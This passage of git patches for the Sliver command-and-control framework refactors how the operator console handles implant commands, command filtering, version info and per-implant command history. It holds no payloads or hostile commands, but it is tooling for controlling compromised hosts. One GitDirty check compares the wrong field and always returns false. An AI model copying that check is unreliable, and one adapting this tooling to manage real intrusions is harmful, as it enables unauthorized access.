*console.SliverClient, args []string) { con.PrintInfof("Refreshing package cache ... ") clientConfig := parseArmoryHTTPConfig(cmd) diff --git a/client/command/armory/update.go b/client/command/armory/update.go index 4f14d0006b..3fb3a622d7 100644 --- a/client/command/armory/update.go +++ b/client/command/armory/update.go @@ -22,15 +22,14 @@ import ( "os" "strings" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// ArmoryUpdateCmd - Update all installed extensions/aliases +// ArmoryUpdateCmd - Update all installed extensions/aliases. func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintInfof("Refreshing package cache ... ") clientConfig := parseArmoryHTTPConfig(cmd) From eee1dc21c60807abef5694136d8a8e10eb403764 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Wed, 26 Jul 2023 21:03:49 +0200 Subject: [PATCH 040/124] Simplify sliver implant command tree entry --- client/cli/cli.go | 1 + client/cli/implant.go | 76 ++++++++++++++------------------------- client/console/implant.go | 63 ++++++++++++++++++++++++++------ 3 files changed, 80 insertions(+), 60 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index c7d580371e..f2e109ccb5 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -70,6 +70,7 @@ func Execute() { command.BindRunners(rootCmd, true, preRunClient(con)) command.BindRunners(rootCmd, false, postRunClient(con)) + // Generate the root completion command. carapace.Gen(rootCmd) // Run the sliver client binary. diff --git a/client/cli/implant.go b/client/cli/implant.go index dfe0c10a42..4f6ec6776f 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -2,7 +2,6 @@ package cli import ( "errors" - "strings" "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command/use" @@ -15,24 +14,24 @@ import ( ) func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Command { + // Generate a not-yet filtered tree of all commands + // usable in the context of an active target implant. implantCmd := sliverCmds() implantCmd.Use = constants.ImplantMenu + // But let the user set this implant with a flag. implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError) implantFlags.StringP("use", "s", "", "Set the active target session/beacon") implantCmd.Flags().AddFlagSet(implantFlags) - // Setup the active target before going down the implant command tree. - implantCmd.PersistentPreRunE = sliverPrerun(implantCmd, con) + // And when pre-running any of the commands in this tree, + // connect to the server as we always do, but also set the + // active target for this binary run. + implantCmd.PersistentPreRunE = implantPreRun(implantCmd, con) - // Completions: - command.BindFlagCompletions(implantCmd, func(comp *carapace.ActionMap) { - (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { - return use.BeaconAndSessionIDCompleter(con) - }) - }) - - // Hide all commands not available for the current target. + // Completions. + // Unlike the server-only command tree, we need to unconditionally + // pre-connect when completing commands, so that we can filter commands. comps := carapace.Gen(implantCmd) comps.PreRun(func(cmd *cobra.Command, args []string) { err := implantCmd.PersistentPreRunE(cmd, args) @@ -40,55 +39,28 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co return } - hideUnavailableCommands(implantCmd, con) + // And let the console and its active target decide + // what should be available to us, and what should not. + con.ActiveTarget.FilterCommands(implantCmd) }) - return implantCmd -} - -// hide commands that are filtered so that they are not -// shown in the help strings or proposed as completions. -func hideUnavailableCommands(rootCmd *cobra.Command, con *client.SliverClient) { - targetFilters := con.ActiveTarget.Filters() - - for _, cmd := range rootCmd.Commands() { - // Don't override commands if they are already hidden - if cmd.Hidden { - continue - } - - if isFiltered(cmd, targetFilters) { - cmd.Hidden = true - } - } -} - -func isFiltered(cmd *cobra.Command, targetFilters []string) bool { - if cmd.Annotations == nil { - return false - } - - // Get the filters on the command - filterStr := cmd.Annotations[console.CommandFilterKey] - filters := strings.Split(filterStr, ",") - - for _, cmdFilter := range filters { - for _, filter := range targetFilters { - if cmdFilter != "" && cmdFilter == filter { - return true - } - } - } + // This completer will try connect to the server anyway, if not done already. + command.BindFlagCompletions(implantCmd, func(comp *carapace.ActionMap) { + (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { + return use.BeaconAndSessionIDCompleter(con) + }) + }) - return false + return implantCmd } -func sliverPrerun(implantCmd *cobra.Command, con *client.SliverClient) func(cmd *cobra.Command, args []string) error { +func implantPreRun(implantCmd *cobra.Command, con *client.SliverClient) func(cmd *cobra.Command, args []string) error { return func(cmd *cobra.Command, args []string) error { if err := preRunClient(con)(cmd, args); err != nil { return err } + // Pre-parse the flags and get our active target. if err := implantCmd.ParseFlags(args); err != nil { return err } @@ -111,6 +83,10 @@ func sliverPrerun(implantCmd *cobra.Command, con *client.SliverClient) func(cmd return nil } + // And let the console and its active target decide + // what should be available to us, and what should not. + con.ActiveTarget.FilterCommands(implantCmd) + return nil } } diff --git a/client/console/implant.go b/client/console/implant.go index 0b59970fce..b3b26ce245 100644 --- a/client/console/implant.go +++ b/client/console/implant.go @@ -20,11 +20,13 @@ package console import ( "fmt" + "strings" "time" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/reeflective/console" "github.com/spf13/cobra" ) @@ -174,6 +176,22 @@ func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { } } +// Background - Background the active session. +func (s *ActiveTarget) Background() { + defer s.con.App.ShowCommands() + + s.session = nil + s.beacon = nil + for _, observer := range s.observers { + observer(nil, nil) + } + + // Switch back to server menu. + if !s.con.IsCLI && s.con.App.ActiveMenu().Name() == consts.ImplantMenu { + s.con.App.SwitchMenu(consts.ServerMenu) + } +} + // Filters returns list of constants describing which types of commands // should NOT be available for the current target, eg. beacon commands if // the target is a session, Windows commands if the target host is Linux. @@ -222,18 +240,43 @@ func (s *ActiveTarget) Filters() []string { return filters } -// Background - Background the active session. -func (s *ActiveTarget) Background() { - defer s.con.App.ShowCommands() +// FilterCommands - The active target may have various transport stacks, +// run on different hosts and operating systems, have networking tools, etc. +// +// Given a tree of commands which may or may not all act on a given target, +// the implant adds a series of annotations and hide directives to those which +// should not be available in the current state of things. +func (s *ActiveTarget) FilterCommands(rootCmd *cobra.Command) { + targetFilters := s.Filters() + + for _, cmd := range rootCmd.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } - s.session = nil - s.beacon = nil - for _, observer := range s.observers { - observer(nil, nil) + if isFiltered(cmd, targetFilters) { + cmd.Hidden = true + } } +} - // Switch back to server menu. - if !s.con.IsCLI && s.con.App.ActiveMenu().Name() == consts.ImplantMenu { - s.con.App.SwitchMenu(consts.ServerMenu) +func isFiltered(cmd *cobra.Command, targetFilters []string) bool { + if cmd.Annotations == nil { + return false + } + + // Get the filters on the command + filterStr := cmd.Annotations[console.CommandFilterKey] + filters := strings.Split(filterStr, ",") + + for _, cmdFilter := range filters { + for _, filter := range targetFilters { + if cmdFilter != "" && cmdFilter == filter { + return true + } + } } + + return false } From 5d60a3cc665bcb0a5bb0590eb0217356c46a2548 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 27 Jul 2023 00:09:31 +0200 Subject: [PATCH 041/124] Add active target method to filter a command tree --- client/command/cursed/commands.go | 3 +++ client/console/implant.go | 42 +++++++++++++++---------------- 2 files changed, 24 insertions(+), 21 deletions(-) diff --git a/client/command/cursed/commands.go b/client/command/cursed/commands.go index 74722753eb..d61dbd51f3 100644 --- a/client/command/cursed/commands.go +++ b/client/command/cursed/commands.go @@ -131,6 +131,9 @@ func Commands(con *console.SliverClient) []*cobra.Command { flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) { f.StringP("save", "s", "", "save to file") }) + flags.BindFlagCompletions(CursedCookiesCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles() + }) cursedScreenshotCmd := &cobra.Command{ Use: consts.ScreenshotStr, diff --git a/client/console/implant.go b/client/console/implant.go index b3b26ce245..fa2409f616 100644 --- a/client/console/implant.go +++ b/client/console/implant.go @@ -192,6 +192,27 @@ func (s *ActiveTarget) Background() { } } +// FilterCommands - The active target may have various transport stacks, +// run on different hosts and operating systems, have networking tools, etc. +// +// Given a tree of commands which may or may not all act on a given target, +// the implant adds a series of annotations and hide directives to those which +// should not be available in the current state of things. +func (s *ActiveTarget) FilterCommands(rootCmd *cobra.Command) { + targetFilters := s.Filters() + + for _, cmd := range rootCmd.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } + + if isFiltered(cmd, targetFilters) { + cmd.Hidden = true + } + } +} + // Filters returns list of constants describing which types of commands // should NOT be available for the current target, eg. beacon commands if // the target is a session, Windows commands if the target host is Linux. @@ -240,27 +261,6 @@ func (s *ActiveTarget) Filters() []string { return filters } -// FilterCommands - The active target may have various transport stacks, -// run on different hosts and operating systems, have networking tools, etc. -// -// Given a tree of commands which may or may not all act on a given target, -// the implant adds a series of annotations and hide directives to those which -// should not be available in the current state of things. -func (s *ActiveTarget) FilterCommands(rootCmd *cobra.Command) { - targetFilters := s.Filters() - - for _, cmd := range rootCmd.Commands() { - // Don't override commands if they are already hidden - if cmd.Hidden { - continue - } - - if isFiltered(cmd, targetFilters) { - cmd.Hidden = true - } - } -} - func isFiltered(cmd *cobra.Command, targetFilters []string) bool { if cmd.Annotations == nil { return false From 1404c233c13a170a69be528a4f48f08ec5b7a917 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 27 Jul 2023 00:48:25 +0200 Subject: [PATCH 042/124] Remove dependency buildinfo embeddings --- .../team/client/commands/version.go | 9 +- .../team/internal/version/version.go | 87 +++++++++++-------- .../reeflective/team/server/core.go | 6 +- 3 files changed, 61 insertions(+), 41 deletions(-) diff --git a/vendor/github.com/reeflective/team/client/commands/version.go b/vendor/github.com/reeflective/team/client/commands/version.go index ffd5b9a1b8..f3dfa5993e 100644 --- a/vendor/github.com/reeflective/team/client/commands/version.go +++ b/vendor/github.com/reeflective/team/client/commands/version.go @@ -56,7 +56,14 @@ func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) erro fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Server v%s - %s%s\n", serverSemVer, serverVer.Commit, dirty) // Client - fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Client %s\n", version.Full()) + cdirty := "" + if version.GitDirty() { + cdirty = fmt.Sprintf(" - %sDirty%s", command.Bold, command.Normal) + } + + cliVer := version.Semantic() + cliSemVer := fmt.Sprintf("%d.%d.%d", cliVer[0], cliVer[1], cliVer[2]) + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Client v%s - %s%s\n", cliSemVer, version.GitCommit(), cdirty) return nil } diff --git a/vendor/github.com/reeflective/team/internal/version/version.go b/vendor/github.com/reeflective/team/internal/version/version.go index 67a700668c..113acd9f46 100644 --- a/vendor/github.com/reeflective/team/internal/version/version.go +++ b/vendor/github.com/reeflective/team/internal/version/version.go @@ -20,45 +20,30 @@ package version import ( _ "embed" - "fmt" + "errors" + "runtime/debug" "strconv" "strings" "time" ) -//go:generate bash teamserver_version_info -var ( - // Version - The semantic version in string form - //go:embed client_version.compiled - Version string - - // GoVersion - Go compiler version - //go:embed go_version.compiled - GoVersion string - - // GitCommit - The commit id at compile time - //go:embed commit_version.compiled - GitCommit string - - // GitDirty - Was the commit dirty at compile time - //go:embed dirty_version.compiled - GitDirty string - - // CompiledAt - When was this binary compiled - //go:embed compiled_version.compiled - CompiledAt string -) - const ( semVerLen = 3 ) +var ErrNoBuildInfo = errors.New("No binary build info") + // Semantic - Get the structured semantic // version of the application binary. func Semantic() []int { semVer := make([]int, semVerLen) - version := strings.TrimSuffix(Version, "\n") - version = strings.TrimPrefix(version, "v") + + info, ok := debug.ReadBuildInfo() + if !ok { + return semVer + } + + version := info.Main.Version for i, part := range strings.Split(version, ".") { number, _ := strconv.ParseInt(part, 10, 32) @@ -70,7 +55,19 @@ func Semantic() []int { // Compiled - Get time this binary was compiled. func Compiled() (time.Time, error) { - compiledAt := strings.TrimSuffix(CompiledAt, "\n") + info, ok := debug.ReadBuildInfo() + if !ok { + return time.Unix(0, 0), ErrNoBuildInfo + } + + var compiledAt string + + for _, set := range info.Settings { + if set.Key == "vcs.time" { + compiledAt = set.Value + break + } + } compiled, err := strconv.ParseInt(compiledAt, 10, 64) if err != nil { @@ -80,17 +77,35 @@ func Compiled() (time.Time, error) { return time.Unix(compiled, 0), nil } -// Full - Full version string. -func Full() string { - ver := strings.TrimSuffix(Version, "\n") - if GitCommit != "" { - ver += fmt.Sprintf(" - %s", GitCommit) +// GitCommit returns the last commit hash. +func GitCommit() string { + info, ok := debug.ReadBuildInfo() + if !ok { + return "" + } + + for _, set := range info.Settings { + if set.Key == "vcs.revision" { + return set.Value + } + } + + return "" +} + +// GitDirty returns true if the binary was compiled +// with modified files in the VCS working area. +func GitDirty() bool { + info, ok := debug.ReadBuildInfo() + if !ok { + return false } - compiled, err := Compiled() - if err == nil { - ver += fmt.Sprintf(" - Compiled %s", compiled.String()) + for _, set := range info.Settings { + if set.Key == "vcs.modified" { + return set.Key == "true" + } } - return ver + return false } diff --git a/vendor/github.com/reeflective/team/server/core.go b/vendor/github.com/reeflective/team/server/core.go index 7c5e9390e3..9025720512 100644 --- a/vendor/github.com/reeflective/team/server/core.go +++ b/vendor/github.com/reeflective/team/server/core.go @@ -22,7 +22,6 @@ import ( "os/user" "path/filepath" "runtime" - "strings" "sync" "github.com/reeflective/team" @@ -164,7 +163,6 @@ func (ts *Server) Self(opts ...client.Options) *client.Client { // Version returns the teamserver binary version information. func (ts *Server) Version() (team.Version, error) { - dirty := version.GitDirty != "" semVer := version.Semantic() compiled, _ := version.Compiled() @@ -180,8 +178,8 @@ func (ts *Server) Version() (team.Version, error) { Major: major, Minor: minor, Patch: patch, - Commit: strings.TrimSuffix(version.GitCommit, "\n"), - Dirty: dirty, + Commit: version.GitCommit(), + Dirty: version.GitDirty(), CompiledAt: compiled.Unix(), OS: runtime.GOOS, Arch: runtime.GOARCH, From 7a2fe672dd430900b67819b16740f1e2fa53ffcd Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 27 Jul 2023 13:41:53 +0200 Subject: [PATCH 043/124] Add per-implant history stream and commands for query. Added these history sources in closed console (sliver menu), and through a command to be used by external tools (like fzf) --- client/command/history/history.go | 93 + client/command/sliver.go | 3 + client/console/console.go | 25 +- client/console/history.go | 162 + client/console/log.go | 19 +- protobuf/clientpb/client.pb.go | 4483 +++++++++++++++------------- protobuf/clientpb/client.proto | 31 + protobuf/rpcpb/services.pb.go | 2281 +++++++------- protobuf/rpcpb/services.proto | 3 + protobuf/rpcpb/services_grpc.pb.go | 118 +- server/rpc/rpc-client-logs.go | 2 +- server/rpc/rpc-history.go | 178 ++ 12 files changed, 4173 insertions(+), 3225 deletions(-) create mode 100644 client/command/history/history.go create mode 100644 client/console/history.go create mode 100644 server/rpc/rpc-history.go diff --git a/client/command/history/history.go b/client/command/history/history.go new file mode 100644 index 0000000000..30eb32c78a --- /dev/null +++ b/client/command/history/history.go @@ -0,0 +1,93 @@ +package history + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ +import ( + "context" + "fmt" + "strconv" + "time" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/fatih/color" + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +// Commands returns all commands related to implant history. +func Commands(con *console.SliverClient) []*cobra.Command { + history := &cobra.Command{ + Use: "history", + Short: "Print the implant command history", + RunE: func(cmd *cobra.Command, args []string) error { + sess, beac := con.ActiveTarget.Get() + if sess == nil && beac == nil { + return nil + } + + user, _ := cmd.Flags().GetBool("user") + showTime, _ := cmd.Flags().GetBool("time") + clientUser := con.Teamclient.Config().User + + req := &clientpb.HistoryRequest{ + UserOnly: user, + } + + if sess != nil { + req.ImplantID = sess.ID + req.ImplantName = sess.Name + } else if beac != nil { + req.ImplantID = beac.ID + req.ImplantName = beac.Name + } + + history, err := con.Rpc.GetImplantHistory(context.Background(), req) + if err != nil { + return err + } + + for i, command := range history.GetCommands() { + if user && command.GetUser() != clientUser { + continue + } + + preLine := color.HiBlackString("%-3s", strconv.Itoa(i)) + + if !user { + preLine += fmt.Sprintf("%*s\t", 5, color.YellowString(command.User)) + } + if showTime { + preLine += color.BlueString(time.Unix(command.GetExecutedAt(), 0).Format(time.Stamp)) + "\t" + } + + fmt.Println(preLine + command.Block) + } + + return nil + }, + } + + flags.Bind("history", false, history, func(f *pflag.FlagSet) { + f.BoolP("user", "u", false, "Only print implant commands executed by user") + f.BoolP("time", "t", false, "Print the exec time before the command line (tab separated)") + }) + + return []*cobra.Command{history} +} diff --git a/client/command/sliver.go b/client/command/sliver.go index 17d8dfaced..65b6310b65 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -28,6 +28,7 @@ import ( "github.com/bishopfox/sliver/client/command/exec" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/command/filesystem" + "github.com/bishopfox/sliver/client/command/history" "github.com/bishopfox/sliver/client/command/info" "github.com/bishopfox/sliver/client/command/kill" "github.com/bishopfox/sliver/client/command/network" @@ -57,6 +58,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { sliver := &cobra.Command{ Short: "Implant commands", TraverseChildren: true, + SilenceUsage: true, CompletionOptions: cobra.CompletionOptions{ HiddenDefaultCmd: true, }, @@ -77,6 +79,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { // use.Commands, tasks.Commands, pivots.Commands, + history.Commands, ) // [ Info ] diff --git a/client/console/console.go b/client/console/console.go index 6bc3ab06a7..ee00c6c710 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -98,7 +98,7 @@ type SliverClient struct { // Logging jsonHandler slog.Handler printf func(format string, args ...any) (int, error) - closeLogs func() + closeLogs []func() // Sliver-specific Rpc rpcpb.SliverRPCClient @@ -177,7 +177,8 @@ func newConsole() *SliverClient { server.Prompt().Primary = con.GetPrompt server.AddInterrupt(readline.ErrInterrupt, con.exitConsole) // Ctrl-C - server.AddHistorySourceFile("server history", filepath.Join(assets.GetRootAppDir(), "history")) + histPath := filepath.Join(assets.GetRootAppDir(), "history") + server.AddHistorySourceFile("server history", histPath) // Implant menu. sliver := con.App.NewMenu(consts.ImplantMenu) @@ -203,6 +204,24 @@ func (con *SliverClient) connect(conn *grpc.ClientConn) { // Stream logs/asciicasts con.startClientLog() + + // History sources + sliver := con.App.NewMenu(consts.ImplantMenu) + + histuser, err := con.newImplantHistory(true) + if err == nil { + sliver.AddHistorySource("implant history (user)", histuser) + } + + histAll, err := con.newImplantHistory(false) + if err == nil { + sliver.AddHistorySource("implant history (all users)", histAll) + } + + con.closeLogs = append(con.closeLogs, func() { + histuser.Close() + histAll.Close() + }) } // StartConsole is a blocking call that starts the Sliver closed console. @@ -237,7 +256,7 @@ func (con *SliverClient) ConnectCompletion() (carapace.Action, error) { // After this call, the client can reconnect should it want to. func (con *SliverClient) Disconnect() error { // Close all RPC streams and local files. - con.closeClientLogs() + con.closeClientStreams() // Close the RPC client connection. return con.Teamclient.Disconnect() diff --git a/client/console/history.go b/client/console/history.go new file mode 100644 index 0000000000..32fb3f234e --- /dev/null +++ b/client/console/history.go @@ -0,0 +1,162 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "time" + + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" +) + +type implantHistory struct { + con *SliverClient + items []*clientpb.ImplantCommand + Stream rpcpb.SliverRPC_ImplantHistoryClient + pos int + user bool +} + +func (con *SliverClient) newImplantHistory(user bool) (*implantHistory, error) { + hist := &implantHistory{ + con: con, + user: user, + } + + // Always refresh our cache when connecting. + defer hist.Dump() + + // Important; in Write(), user should not use this tream. + if hist.user { + return hist, nil + } + + stream, err := con.Rpc.ImplantHistory(context.Background()) + if err != nil { + return nil, err + } + + // Refresh the list. + hist.Stream = stream + + return hist, nil +} + +// Write - Sends the last command to the server for saving. +func (h *implantHistory) Write(s string) (int, error) { + sess, beac := h.con.ActiveTarget.Get() + if sess == nil && beac == nil { + return len(h.items), nil + } + + // Don't save queries for the list of commands. + if s == "history" { + return len(h.items), nil + } + + // Populate a command line with its context. + cmd := &clientpb.ImplantCommand{} + + cmd.Block = s + cmd.ExecutedAt = time.Now().Unix() + + if sess != nil { + cmd.ImplantID = sess.ID + cmd.ImplantName = sess.Name + } else if beac != nil { + cmd.ImplantID = beac.ID + cmd.ImplantName = beac.Name + } + + // Save it in memory + h.items = append(h.items, cmd) + + if h.user { + return len(h.items), nil + } + + err := h.Stream.Send(cmd) + + return len(h.items), err +} + +// GetLine returns a line from history. +func (h *implantHistory) GetLine(i int) (string, error) { + if i < 0 { + return "", nil + } + + // Refresh the command history. + if len(h.items) == 0 { + h.Dump() + } + + if i >= len(h.items) { + return "", errors.New("Invalid history index") + } + + return h.items[i].Block, nil +} + +// Len returns the number of lines in history. +func (h *implantHistory) Len() int { + h.Dump() + return len(h.items) +} + +// Dump returns the entire history. +func (h *implantHistory) Dump() interface{} { + sess, beac := h.con.ActiveTarget.Get() + if sess == nil && beac == nil { + return h.items + } + + req := &clientpb.HistoryRequest{ + UserOnly: h.user, + } + + if sess != nil { + req.ImplantID = sess.ID + req.ImplantName = sess.Name + } else if beac != nil { + req.ImplantID = beac.ID + req.ImplantName = beac.Name + } + + history, err := h.con.Rpc.GetImplantHistory(context.Background(), req) + if err != nil { + return h.items + } + + h.items = history.Commands + + return h.items +} + +// Close closes the implant history stream. +func (h *implantHistory) Close() error { + if h.Stream == nil { + return nil + } + + _, err := h.Stream.CloseAndRecv() + return err +} diff --git a/client/console/log.go b/client/console/log.go index 9cc14b6c78..5a459a16b2 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -90,7 +90,7 @@ func (con *SliverClient) startClientLog() error { err = con.setupAsciicastRecord(asciicastFile, asciicastStream) - con.closeLogs = func() { + con.closeLogs = append(con.closeLogs, func() { // Local files clientLogFile.Close() asciicastFile.Close() @@ -98,12 +98,12 @@ func (con *SliverClient) startClientLog() error { // Server streams. clientLogs.Stream.CloseAndRecv() asciicastStream.Stream.CloseAndRecv() - } + }) return nil } -func (con *SliverClient) closeClientLogs() { +func (con *SliverClient) closeClientStreams() { if con.closeLogs == nil { return } @@ -112,7 +112,9 @@ func (con *SliverClient) closeClientLogs() { con.closeLogs = nil }() - con.closeLogs() + for _, closeLog := range con.closeLogs { + closeLog() + } } func (con *SliverClient) setupLogger(writers ...io.Writer) { @@ -162,7 +164,16 @@ func (con *SliverClient) logCommand(args []string) ([]string, error) { if len(args) == 0 { return args, nil } + logger := slog.New(con.jsonHandler).With(slog.String("type", "command")) + + sess, beac := con.ActiveTarget.Get() + if sess != nil { + logger = logger.With(slog.String("implant_id", sess.ID)) + } else if beac != nil { + logger = logger.With(slog.String("implant_id", beac.ID)) + } + logger.Debug(strings.Join(args, " ")) return args, nil } diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go index ebd03832cd..f4665ada7f 100644 --- a/protobuf/clientpb/client.pb.go +++ b/protobuf/clientpb/client.pb.go @@ -1171,6 +1171,252 @@ func (x *ClientLogData) GetData() []byte { return nil } +type ImplantCommand struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Stream string `protobuf:"bytes,1,opt,name=Stream,proto3" json:"Stream,omitempty"` + User string `protobuf:"bytes,2,opt,name=User,proto3" json:"User,omitempty"` + ImplantID string `protobuf:"bytes,3,opt,name=ImplantID,proto3" json:"ImplantID,omitempty"` + ImplantName string `protobuf:"bytes,4,opt,name=ImplantName,proto3" json:"ImplantName,omitempty"` + ExecutedAt int64 `protobuf:"varint,5,opt,name=ExecutedAt,proto3" json:"ExecutedAt,omitempty"` + Block string `protobuf:"bytes,6,opt,name=Block,proto3" json:"Block,omitempty"` + Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"` +} + +func (x *ImplantCommand) Reset() { + *x = ImplantCommand{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *ImplantCommand) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ImplantCommand) ProtoMessage() {} + +func (x *ImplantCommand) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ImplantCommand.ProtoReflect.Descriptor instead. +func (*ImplantCommand) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{2} +} + +func (x *ImplantCommand) GetStream() string { + if x != nil { + return x.Stream + } + return "" +} + +func (x *ImplantCommand) GetUser() string { + if x != nil { + return x.User + } + return "" +} + +func (x *ImplantCommand) GetImplantID() string { + if x != nil { + return x.ImplantID + } + return "" +} + +func (x *ImplantCommand) GetImplantName() string { + if x != nil { + return x.ImplantName + } + return "" +} + +func (x *ImplantCommand) GetExecutedAt() int64 { + if x != nil { + return x.ExecutedAt + } + return 0 +} + +func (x *ImplantCommand) GetBlock() string { + if x != nil { + return x.Block + } + return "" +} + +func (x *ImplantCommand) GetRequest() *commonpb.Request { + if x != nil { + return x.Request + } + return nil +} + +type HistoryRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + UserOnly bool `protobuf:"varint,1,opt,name=UserOnly,proto3" json:"UserOnly,omitempty"` + MaxLines int32 `protobuf:"varint,2,opt,name=MaxLines,proto3" json:"MaxLines,omitempty"` + ImplantID string `protobuf:"bytes,3,opt,name=ImplantID,proto3" json:"ImplantID,omitempty"` + ImplantName string `protobuf:"bytes,4,opt,name=ImplantName,proto3" json:"ImplantName,omitempty"` + Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"` +} + +func (x *HistoryRequest) Reset() { + *x = HistoryRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *HistoryRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HistoryRequest) ProtoMessage() {} + +func (x *HistoryRequest) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[3] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HistoryRequest.ProtoReflect.Descriptor instead. +func (*HistoryRequest) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{3} +} + +func (x *HistoryRequest) GetUserOnly() bool { + if x != nil { + return x.UserOnly + } + return false +} + +func (x *HistoryRequest) GetMaxLines() int32 { + if x != nil { + return x.MaxLines + } + return 0 +} + +func (x *HistoryRequest) GetImplantID() string { + if x != nil { + return x.ImplantID + } + return "" +} + +func (x *HistoryRequest) GetImplantName() string { + if x != nil { + return x.ImplantName + } + return "" +} + +func (x *HistoryRequest) GetRequest() *commonpb.Request { + if x != nil { + return x.Request + } + return nil +} + +// History - Command history content. +type History struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + HistoryLen int32 `protobuf:"varint,2,opt,name=HistoryLen,proto3" json:"HistoryLen,omitempty"` + UserOnly bool `protobuf:"varint,3,opt,name=UserOnly,proto3" json:"UserOnly,omitempty"` + Commands []*ImplantCommand `protobuf:"bytes,4,rep,name=Commands,proto3" json:"Commands,omitempty"` + Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"` +} + +func (x *History) Reset() { + *x = History{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *History) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*History) ProtoMessage() {} + +func (x *History) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[4] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + 